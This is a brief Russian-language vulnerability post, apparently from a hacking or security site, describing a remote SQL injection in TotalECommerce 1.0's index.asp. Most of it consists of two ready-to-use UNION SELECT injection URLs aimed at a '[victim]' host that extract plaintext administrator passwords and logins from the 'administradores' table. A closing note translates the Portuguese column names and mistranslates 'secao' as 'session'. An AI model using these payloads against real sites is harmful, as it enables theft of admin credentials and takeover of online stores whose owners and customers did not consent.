Web Уязвимости: TotalECommerce

[Ŧ1LAN]

SQL-инъекция в TotalECommerce <=1.0
программа: TotalECommerce <= 1.0
Описание:
Вчера была найдена Remote SQL-инъекция в TotalECommerce <= 1.0. Уязвим файл index.asp. Дает возможность получить чистый пароль любого администратора и его логин.
Использование:

GET -> http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL]

Пример1 ->

http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha+from+administradores

Пример 2 ->

http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+login,login,login,login,login,login,login,login,login,login,
login,login,login,login,login,login,login,login,login,login,login,login,login,login,
login,login,login,login,login,login,login,login,login+from+administradoresъ

подробнее
P.S. Уязвимость по ходу нашёл какой-то португалец т.к. по португальски
senha - Означает пароль
administradores - Означает администраторы...
secao - сессия...